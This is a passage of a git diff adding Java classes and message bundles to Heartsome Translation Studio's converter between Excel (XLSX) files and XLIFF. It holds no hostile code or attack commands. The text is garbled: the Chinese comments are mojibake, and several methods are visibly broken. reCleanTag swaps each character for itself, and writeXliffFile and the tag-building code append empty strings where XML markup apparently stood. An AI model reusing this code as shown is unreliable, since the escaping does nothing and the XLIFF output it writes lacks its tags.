} + + public static String reCleanTag(String line) { + String s = line; + s = s.replaceAll("<", "<"); + s = s.replaceAll(">", ">"); + s = s.replaceAll("&", "&"); + return s; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/SpreadsheetReader.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/SpreadsheetReader.java new file mode 100644 index 0000000..18531f9 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/SpreadsheetReader.java @@ -0,0 +1,337 @@ +/** + * XliffReader.java + * + * Version information : + * + * Date:2012-8-2 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.reader; + +import java.io.BufferedWriter; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.ZipUtil; +import net.heartsome.cat.converter.msexcel2007.document.Cell; +import net.heartsome.cat.converter.msexcel2007.document.DrawingsPart; +import net.heartsome.cat.converter.msexcel2007.document.HeaderFooter; +import net.heartsome.cat.converter.msexcel2007.document.SheetPart; +import net.heartsome.cat.converter.msexcel2007.document.SpreadsheetDocument; +import net.heartsome.cat.converter.msexcel2007.document.WorkBookPart; +import net.heartsome.cat.converter.msexcel2007.document.drawing.CellAnchor; +import net.heartsome.cat.converter.msexcel2007.document.drawing.ShapeParagraph; +import net.heartsome.cat.converter.msexcel2007.document.drawing.ShapeTxBody; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class SpreadsheetReader { + + private BufferedWriter xlfOs; + + /** The source file language */ + private String srcLang; + + /** The XLiff TransUnit index counter */ + private int xliffIdex; + + /** The text segmentter */ + private StringSegmenter segmenter; + + private List filterStyleIndex; + + public SpreadsheetReader(String sourceLanguage, StringSegmenter segmenter) { + this.srcLang = sourceLanguage; + this.xliffIdex = 1; + this.segmenter = segmenter; + this.filterStyleIndex = new ArrayList(); + } + + /** + * 将内容读入到XLIFF文件 + * @param xlfOs + * XLIFF文件BufferWriter + * @param filterRedCell + * 是å¦éœ€è¦è¿‡æ»¤æ ‡è®°ä¸ºçº¢è‰²çš„å•å…ƒæ ¼ + * @param monitor + * @throws InternalFileException + * @throws IOException + * ; + */ + + public void read2XliffFile(String inputFile, BufferedWriter xlfOs, String sklFilePath, boolean filterRedCell, + IProgressMonitor monitor) throws InternalFileException, IOException { + this.xlfOs = xlfOs; + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 5); + try { + monitor.setTaskName(Messages.getString("msexcel.mse2xliff.task2")); + // open source file + SpreadsheetDocument.open(inputFile); + monitor.worked(1); + + monitor.setTaskName(Messages.getString("msexcel.mse2xliff.task3")); + // load current workbook + WorkBookPart wb = SpreadsheetDocument.workBookPart; + if (filterRedCell) { + this.filterStyleIndex = wb.getStylesPart().getFilterCellStyle(); + } + + // read worksheet + List sheetList = wb.getSheetParts(); + readSheets(sheetList, new SubProgressMonitor(monitor, 2)); + + // save current document + wb.save(); + monitor.worked(1); + + monitor.setTaskName(Messages.getString("msexcel.mse2xliff.task4")); + // generate skl file + saveSklFile(sklFilePath); + monitor.worked(1); + } finally { + SpreadsheetDocument.close(); + } + monitor.done(); + } + + private void saveSklFile(String sklPath) { + try { + ZipUtil.zipFolder(sklPath, SpreadsheetDocument.spreadsheetPackage.getPackageSuperRoot()); + } catch (IOException e) { + e.printStackTrace(); + } + } + + private void readSheets(List sheetList, IProgressMonitor monitor) + throws InternalFileException, IOException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", sheetList.size() * 5); + for (SheetPart sp : sheetList) { + + // process sheet name + String name = sp.getName(); + writeXliffFile(xliffIdex, name); + sp.setSheetName("%%%" + xliffIdex + "%%%"); + xliffIdex++; + monitor.worked(1); + + // read headers + List headers = sp.getHeader(); + readHeaderFooters(headers); + sp.setHeaderFooter(headers); // update the file + monitor.worked(1); + + // read drawing part + DrawingsPart drawingp = sp.getDrawingsPart(); + if (drawingp != null) { + readDrawings(drawingp); + drawingp.updateDrawingObject(); + } + monitor.worked(1); + + List cellList = sp.getCells("s"); + for (Cell c : cellList) { + if (filterStyleIndex.contains(c.getStyleIndex())) { + // skip this cell + continue; + } + String cellText = c.getValue(); + if(cellText == null || cellText.trim().length() == 0){ + // ignore the cell + continue; + } + List cellStyle = c.getCellCharacterStyles(); + String[] segs = segmenter.segment(cellText); + StringBuffer bf = new StringBuffer(); + for (String seg : segs) { + List s = ReaderUtil.getSegStyle(cellStyle, seg, cellText); + if (s.size() != 0) { + seg = ReaderUtil.appendSegStyle(seg, s); + } + bf.append("%%%").append(xliffIdex++).append("%%%"); + // System.out.println(xliffIdex + ":" + seg); + writeXliffFile(xliffIdex - 1, seg); + } + c.setValue(bf.toString()); + } + monitor.worked(1); + + // read headers + List footers = sp.getFoolter(); + readHeaderFooters(footers); + sp.setHeaderFooter(footers); // update the file + + monitor.worked(1); + } + monitor.done(); + } + + private void readDrawings(DrawingsPart drawingp) throws IOException { + List aList = drawingp.getCellAnchorList(); + for (CellAnchor a : aList) { + List sList = a.getShapeList(); + if (sList.size() == 0) { + continue; + } + for (ShapeTxBody s : sList) { + List pList = s.getTxBodyParagraghList(); + for (ShapeParagraph p : pList) { + String txt = p.getParagraghText(); + if (txt.length() == 0) { + continue; + } + List txtStyle = p.getParagraghCharacterStyle(); + + String[] segs = segmenter.segment(txt); + StringBuffer bf = new StringBuffer(); + for (String seg : segs) { + if (txtStyle.size() > 1) { + List style = ReaderUtil.getSegStyle(txtStyle, seg, txt); + if (style.size() != 0) { + seg = ReaderUtil.appendSegStyle(seg, style); + } + } + bf.append("%%%").append(xliffIdex).append("%%%"); + writeXliffFile(xliffIdex, seg); + xliffIdex++; + } + // System.out.println(bf.toString()); + p.setParagraghText(bf.toString()); + } + } + } + } + + private void readHeaderFooters(List headerFooters) throws IOException { + for (HeaderFooter hf : headerFooters) { + String content = ReaderUtil.reCleanTag(hf.getContent()); + String[] lcr = splitHeaderFooter(content); + StringBuffer skl = new StringBuffer(); + for (String s : lcr) { + if (s.length() == 0) { + continue; + } + StringBuffer text = new StringBuffer(); + readSplitedContent(s, skl, text); + if (text.length() == 0) { + continue; + } + writeXliffFile(xliffIdex - 1, text.toString()); + } + hf.setContent(ReaderUtil.cleanTag(skl.toString())); + } + } + + private void readSplitedContent(String s, StringBuffer skl, StringBuffer text) { + char[] array = s.toCharArray(); + int p = 0; + for (int i = 0; i < array.length; i++) { + char ch = array[i]; + if (ch == '&') { + i++; + if (array[i] == '"') { + i++; + while (array[i] != '"') { + i++; + } + } + } else { + p = i; + break; + } + } + if (p == 0) { + skl.append(s); + return; + } + skl.append(s.substring(0, p)).append("%%%").append(xliffIdex++).append("%%%"); + String temp = s.substring(p); + int ep = 0; + int tp = temp.indexOf('&'); + if (tp != -1) { + do { + text.append(temp.substring(ep, tp)); + if (temp.charAt(tp + 1) == '"') { + int tpp = temp.indexOf('"', tp + 2); + String t1 = temp.substring(tp, tpp + 1); + text.append("").append(ReaderUtil.cleanTag(t1)).append(""); + ep = tpp + 1; + } else { + String t1 = temp.substring(tp, tp + 2); + if ((tp + 2) == temp.length()) { + skl.append(t1); + break; + } else { + text.append("").append(ReaderUtil.cleanTag(t1)).append(""); + ep = tp + 2; + } + } + int tpp = temp.indexOf('&', tp + 2); + if (tpp == -1 && (tp + 2) != temp.length()) { + text.append(temp.substring(ep)); + break; + } + tp = tpp; + } while (tp != -1); + } else { + text.append(temp); + } + } + + private String[] splitHeaderFooter(String c) { + String left = ""; + String center = ""; + String right = ""; + int lp = c.indexOf("&L"); + int cp = c.indexOf("&C"); + int rp = c.indexOf("&R"); + if (lp != -1) { + if (cp != -1) { + left = c.substring(lp, cp); + } else if (rp != -1) { + left = c.substring(lp, rp); + } else { + left = c; + } + } + if (cp != -1) { + if (rp != -1) { + center = c.substring(cp, rp); + } else { + center = c.substring(cp); + } + } + if (rp != -1) { + right = c.substring(rp); + } + + String[] result = new String[3]; + result[0] = left; + result[1] = center; + result[2] = right; + return result; + } + + private void writeXliffFile(int tuId, String sourceSeg) throws IOException { + xlfOs.write(" \n" + " " + sourceSeg + "\n" + " \n"); + // System.out.println(tuId + ":" + sourceSeg); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/XliffReader.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/XliffReader.java new file mode 100644 index 0000000..64e657d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/reader/XliffReader.java @@ -0,0 +1,346 @@ +/** + * XliffReader.java + * + * Version information : + * + * Date:2012-8-10 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.converter.msexcel2007.reader; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; +import java.util.TreeMap; + +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.common.ZipUtil; +import net.heartsome.cat.converter.msexcel2007.document.Cell; +import net.heartsome.cat.converter.msexcel2007.document.DrawingsPart; +import net.heartsome.cat.converter.msexcel2007.document.HeaderFooter; +import net.heartsome.cat.converter.msexcel2007.document.SheetPart; +import net.heartsome.cat.converter.msexcel2007.document.SpreadsheetDocument; +import net.heartsome.cat.converter.msexcel2007.document.WorkBookPart; +import net.heartsome.cat.converter.msexcel2007.document.drawing.CellAnchor; +import net.heartsome.cat.converter.msexcel2007.document.drawing.ShapeParagraph; +import net.heartsome.cat.converter.msexcel2007.document.drawing.ShapeTxBody; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class XliffReader { + public static final Logger logger = LoggerFactory.getLogger(XliffReader.class); + private VTDUtils vu; + + public XliffReader() { + + } + + public void read2SpreadsheetDoc(String spreadsheetDocFile, String xliffFile, String sklFile, + IProgressMonitor monitor) throws InternalFileException { + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + monitor.beginTask(Messages.getString("msexcel.xliff2mse.task1"), 5); + + loadFile(xliffFile); + monitor.worked(1); + + monitor.setTaskName(Messages.getString("msexcel.xliff2mse.task2")); + + try { + SpreadsheetDocument.open(sklFile); + monitor.worked(1); + WorkBookPart wb = SpreadsheetDocument.workBookPart; + List sheetList = wb.getSheetParts(); + + readSheet(sheetList, new SubProgressMonitor(monitor, 1)); + + monitor.setTaskName(Messages.getString("msexcel.xliff2mse.task3")); + wb.save(); + monitor.worked(1); + try { + ZipUtil.zipFolder(spreadsheetDocFile, SpreadsheetDocument.spreadsheetPackage.getPackageSuperRoot()); + } catch (IOException e) { + logger.error("", e); + } + monitor.worked(1); + } finally { + SpreadsheetDocument.close(); + monitor.done(); + } + } + + private void readSheet(List sheetList, IProgressMonitor monitor) throws InternalFileException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask(Messages.getString("msexcel.xliff2mse.task4"), sheetList.size() * 5); + List sheetNames = new ArrayList(); + for (SheetPart sp : sheetList) { + monitor.worked(1); + String name = sp.getName(); + name = processContent(name); + + // 处ç†é‡å¤å称 + int i = 1; + while (sheetNames.contains(name)) { + name += i; + i++; + } + sheetNames.add(name); + + sp.setSheetName(name); + + // read headers + monitor.worked(1); + List headers = sp.getHeader(); + for (HeaderFooter hf : headers) { + String content = hf.getContent(); + content = processContent(content); + hf.setContent(content); + } + sp.setHeaderFooter(headers); // update the file + + monitor.worked(1); + DrawingsPart drawingp = sp.getDrawingsPart(); + if (drawingp != null) { + List aList = drawingp.getCellAnchorList(); + for (CellAnchor a : aList) { + List sList = a.getShapeList(); + if (sList.size() == 0) { + continue; + } + for (ShapeTxBody s : sList) { + List pList = s.getTxBodyParagraghList(); + for (ShapeParagraph p : pList) { + String content = p.getXmlContent(); + content = processContent(content); + p.setXmlContent(content); + } + } + } + drawingp.updateDrawingObject(); + } + monitor.worked(1); + List cellList = sp.getCells("s"); + for (Cell c : cellList) { + String content = c.getFullContent(); + content = processContent(content); + c.setShareStringItemFullContent(content); + } + + monitor.worked(1); + // read footer + List footers = sp.getFoolter(); + for (HeaderFooter hf : footers) { + String content = hf.getContent(); + content = processContent(content); + hf.setContent(content); + } + sp.setHeaderFooter(footers); // update the file + } + monitor.done(); + } + + private String processContent(String content) throws InternalFileException { + String result = content; + int sos = content.indexOf("%%%"); + while (sos != -1) { + sos += 3; + int eos = content.indexOf("%%%", sos); + String code = content.substring(sos, eos); + eos += 3; + String t = getTargetById(code); + result = result.replace("%%%" + code + "%%%", t); + sos = content.indexOf("%%%", eos); + } + return result; + } + + public static void main(String[] args) throws InternalFileException { + XliffReader r = new XliffReader(); + r.read2SpreadsheetDoc("d:\\ot1\\test1.xlsx", "d:\\ot1\\test1_zh-CN.xlsx.hsxliff", "d:\\ot1\\test1.xlsx.skl", + null); + } + + private String getTargetById(String id) throws InternalFileException { + String result = null; + String xpath = "/xliff/file/body/trans-unit[@id='" + id + "']"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + try { + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + String text = vu.getChildContent("./target"); + if (text == null) { + text = vu.getChildContent("./target"); + vu.pilot("./source"); + } else { + vu.pilot("./target"); + } + Map anaysisRs = anaysisTarget(); + result = converterAnaysisResult(anaysisRs); + } + } catch (VTDException e) { + logger.error("", e); + } + if (result == null) { + throw new InternalFileException(MessageFormat.format(Messages.getString("msexcel.xliff2mse.msg1"), id)); + } + return result; + } + + private String converterAnaysisResult(Map targetMap) { + List list = new ArrayList(); + Set> entrys = targetMap.entrySet(); + for (Entry entry : entrys) { + list.add(entry.getValue()); + } + + StringBuffer bf = new StringBuffer(); + String tAttr = " xml:space=\"preserve\""; + for (int i = 0; i < list.size(); i++) { + String[] val = list.get(i); + // System.out.print(val[0]); + String text = val[0] == null ? "" : val[0]; + String style = val[1]; + if (style == null) { + bf.append(text); + continue; + } + style = ReaderUtil.reCleanAttribute(style); + String ns = val[2]; + String tagr = "r"; + String tagt = "t"; + if (ns != null && ns.length() != 0) { + tagr = ns + ":" + tagr; + tagt = ns + ":" + tagt; + } + + bf.append('<').append(tagr).append('>').append(style); // + bf.append('<').append(tagt); + if(!tagt.equals("a:t")){ + bf.append(tAttr); + } + bf.append('>').append(text); // text + while (i + 1 < list.size() && list.get(i + 1)[2] != null && list.get(i + 1)[2].equals(style)) { + val = list.get(i + 1); + text = val[0] == null ? "" : val[0]; + bf.append(text); + i++; + } + bf.append('<').append('/').append(tagt).append('>'); + bf.append('<').append('/').append(tagr).append('>'); + + } + // System.out.println(bf); + return bf.toString(); + } + + private Map anaysisTarget() throws VTDException { + Map targetMap = new TreeMap(); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("./node() | text()"); + while (ap.evalXPath() != -1) { + int index = vu.getVTDNav().getCurrentIndex(); + int tokenType = vu.getVTDNav().getTokenType(index); + if (tokenType == 0) { + ananysisTag(targetMap); + } else if (tokenType == 5) { + targetMap.put(index, new String[] { vu.getVTDNav().toRawString(index), null, null }); + } + } + return targetMap; + } + + private void ananysisTag(Map targetMap) throws VTDException { + VTDNav vn = vu.getVTDNav(); + vn.push(); + int idex = vn.getCurrentIndex(); + String tagName = vn.toString(idex); + if ("g".equals(tagName)) { + String ctype = vu.getCurrentElementAttribut("ctype", null); + String rpr = vu.getCurrentElementAttribut("rPr", ""); + + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./node() | text()"); + while (ap.evalXPath() != -1) { + idex = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(idex); + if (tokenType == 0) { + String name = vu.getCurrentElementName(); + if ("ph".equals(name)) { + targetMap.put(idex, new String[] { vu.getElementContent(), rpr, ctype }); + } else if ("g".equals(name)) { + ananysisTag(targetMap); + } + } else if (tokenType == 5) { + targetMap.put(idex, new String[] { vn.toRawString(idex), rpr, ctype }); + } + } + } else if ("ph".equals(tagName)) { + targetMap.put(idex, new String[] { vu.getElementContent(), null, null }); + } else { // 其他节点,一律当åšå­—ç¬¦ä¸²å¤„ç† + targetMap.put(idex, new String[] { vu.getElementFragment(), null, null }); + } + vn.pop(); + } + + private void loadFile(String file) throws InternalFileException { + File f = new File(file); + + VTDGen vg = new VTDGen(); + FileInputStream fis = null; + byte[] b = new byte[(int) f.length()]; + try { + fis = new FileInputStream(f); + fis.read(b); + } catch (IOException e) { + throw new InternalFileException(Messages.getString("msexcel.converter.exception.msg1")); + } finally { + if (fis != null) { + try { + fis.close(); + } catch (Exception e) { + logger.error("", e); + } + } + } + vg.setDoc(b); + try { + vg.parse(true); + vu = new VTDUtils(vg.getNav()); + } catch (VTDException e) { + String message = Messages.getString("msexcel.converter.exception.msg1"); + message += "\nFile:" + f.getName() + "\n" + e.getMessage(); + throw new InternalFileException(message); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/Messages.java new file mode 100644 index 0000000..a3cda6d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.msexcel2007.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message.properties b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message.properties new file mode 100644 index 0000000..d23605c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message.properties @@ -0,0 +1,23 @@ +msexcel.mse2xliff.task1 = \u6b63\u5728\u52a0\u8f7d\u8d44\u6e90... +msexcel.mse2xliff.task2 = \u6b63\u5728\u52a0\u8f7d\u6e90\u6587\u4ef6... +msexcel.mse2xliff.task3 = \u6b63\u5728\u521b\u5efa XLIFF \u6587\u4ef6... +msexcel.mse2xliff.task4 = \u6b63\u5728\u751f\u6210\u9aa8\u67b6\u6587\u4ef6... + +msexcel.mse2xliff.msg1 = \u8bfb\u53d6\u5206\u6bb5\u89c4\u5219 SRX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 + +msexcel.converter.exception.msg1 = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u9009\u4e2d\u7684\u6587\u4ef6\u3002\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u4e3a\u5408\u6cd5\u7684 XLSX \u6587\u4ef6\u3001\u4e14\u53ef\u88ab\u6b63\u5e38\u8bfb\u53d6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +msexcel.converter.exception.msg2 = \u8f6c\u6362 Excel \u6587\u4ef6\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a\n{0}\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u4e3a\u5408\u6cd5\u7684 XLSX \u6587\u4ef6\u3001\u4e14\u53ef\u88ab\u6b63\u5e38\u8bfb\u53d6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +msexcel.xliff2mse.task1 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +msexcel.xliff2mse.task2 = \u6b63\u5728\u52a0\u8f7d\u9aa8\u67b6\u6587\u4ef6... +msexcel.xliff2mse.task3 = \u6b63\u5728\u521b\u5efa\u76ee\u6807\u6587\u4ef6... +msexcel.xliff2mse.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6... + +msexcel.xliff2mse.msg1 = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u7ffb\u8bd1\u5355\u5143 id = {0}\u3002\n\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 + +preference.ExcelPreferencePage.title = Microsoft Excel +preference.ExcelPreferencePage.groupCommon = \u8f6c\u6362\u9009\u9879 +preference.ExcelPreferencePage.imageLabel = \u8f6c\u6362 Microsoft Excel \u5de5\u4f5c\u7c3f (XLSX) \u6587\u4ef6\u65f6\uff0c\u6392\u9664\u5982\u4e0b\u7c7b\u578b\u7684\u53ef\u7ffb\u8bd1\u6587\u672c\uff1a +preference.ExcelPreferencePage.btnRedFont = \u7ea2\u8272\u5b57\u4f53\u5355\u5143\u683c\uff08RGB \u989c\u8272\u503c\uff1a#FF0000\uff09 + +msexcel.TYPE_NAME_VALUE = Microsoft Excel \u5de5\u4f5c\u7c3f (XLSX) \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message_en.properties new file mode 100644 index 0000000..33b5b06 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message_en.properties @@ -0,0 +1,23 @@ +msexcel.mse2xliff.task1 = Loading resources... +msexcel.mse2xliff.task2 = Loading source files... +msexcel.mse2xliff.task3 = Creating XLIFF files... +msexcel.mse2xliff.task4 = Generating skeleton files... + +msexcel.mse2xliff.msg1 = An error occured when reading the SRX file. Please reinstall Heartsome Translation Studio and try again. + +msexcel.converter.exception.msg1 = Unable to read the file. Please double-check that the XLSX file is valid and readable, and then try again. +msexcel.converter.exception.msg2 = Errors during conversion of the Excel file:\n{0}\n Please double-check that the XLSX file is valid and readable, and then try again. + +msexcel.xliff2mse.task1 = Loading XLIFF files... +msexcel.xliff2mse.task2 = Loading skeleton files... +msexcel.xliff2mse.task3 = Creating target files... +msexcel.xliff2mse.task4 = Replacing segment identifiers in the skeleton file... + +msexcel.xliff2mse.msg1 = An error occured when reading the XLIFF file. Translation unit id = {0}.\nThe XLIFF file might be demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. + +preference.ExcelPreferencePage.title = Microsoft Excel +preference.ExcelPreferencePage.groupCommon = Conversion Options +preference.ExcelPreferencePage.imageLabel = When converting Microsoft Excel worksheet (XLSX) files, the following translatable text is excluded: +preference.ExcelPreferencePage.btnRedFont = Red font cells (RGB color value:#FF0000\uff09 + +msexcel.TYPE_NAME_VALUE = Microsoft Excel worksheet (XLSX) diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message_zh.properties new file mode 100644 index 0000000..d23605c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/resource/message_zh.properties @@ -0,0 +1,23 @@ +msexcel.mse2xliff.task1 = \u6b63\u5728\u52a0\u8f7d\u8d44\u6e90... +msexcel.mse2xliff.task2 = \u6b63\u5728\u52a0\u8f7d\u6e90\u6587\u4ef6... +msexcel.mse2xliff.task3 = \u6b63\u5728\u521b\u5efa XLIFF \u6587\u4ef6... +msexcel.mse2xliff.task4 = \u6b63\u5728\u751f\u6210\u9aa8\u67b6\u6587\u4ef6... + +msexcel.mse2xliff.msg1 = \u8bfb\u53d6\u5206\u6bb5\u89c4\u5219 SRX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 + +msexcel.converter.exception.msg1 = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u9009\u4e2d\u7684\u6587\u4ef6\u3002\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u4e3a\u5408\u6cd5\u7684 XLSX \u6587\u4ef6\u3001\u4e14\u53ef\u88ab\u6b63\u5e38\u8bfb\u53d6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +msexcel.converter.exception.msg2 = \u8f6c\u6362 Excel \u6587\u4ef6\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a\n{0}\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u4e3a\u5408\u6cd5\u7684 XLSX \u6587\u4ef6\u3001\u4e14\u53ef\u88ab\u6b63\u5e38\u8bfb\u53d6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +msexcel.xliff2mse.task1 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +msexcel.xliff2mse.task2 = \u6b63\u5728\u52a0\u8f7d\u9aa8\u67b6\u6587\u4ef6... +msexcel.xliff2mse.task3 = \u6b63\u5728\u521b\u5efa\u76ee\u6807\u6587\u4ef6... +msexcel.xliff2mse.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6... + +msexcel.xliff2mse.msg1 = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u7ffb\u8bd1\u5355\u5143 id = {0}\u3002\n\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a 